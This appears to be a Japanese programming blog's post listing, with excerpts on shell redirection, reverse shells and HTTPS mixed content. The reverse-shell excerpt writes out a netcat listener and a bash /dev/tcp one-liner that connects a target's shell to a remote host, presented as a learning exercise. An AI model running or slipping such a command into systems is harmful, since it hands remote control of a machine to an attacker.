Categories: computer
Tags: Programming Rust Nuitter
色々なリダイレクトを理解しようという試みである。
これがどのような意味を持つのかは今は一切考えず、 標準出力に 1, 標準エラー出力に 2 という文字列を出力するスクリプトを作成しておこう。
$ echo "echo 1 >&1" > redir
$ echo "echo 2 >&2" >> redir
$ chmod +x redir
Read More
脅威アクターは目的達成のために、ターゲットのシェルを奪う。
シェルを奪えれば、ターゲットのコントロールが格段に容易になる。
奪い方に色んな方法があるが、そのテクニックの一つに Reverse Shell があり、シェルを奪う普遍的な手法になっている。
これの良い点は、ターゲットからアクターの端末へ接続させるため、アクターからターゲットに直接アクセスできなくてもよいことだ。
攻撃側のシェルで接続を待機させる。典型例がこれだ。
$ nc -lnvp 4242
そして、ターゲットのシェルでなんとか以下を実行させられたら勝ち。外部へ入出力できるようになる。
$ bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
ペイロードの生成ツールやチートシートなしで入力するとなると結構難しいのではないかと思う。
シェルに詳しくなるためにも今回はこのコマンドを理解していきたい。
Mixed Contents とは HTTPS で読み込むコンテンツに HTTP で読み込むサブコンテンツが含まれている セキュリティ上の問題を指す。
Read MoreSearch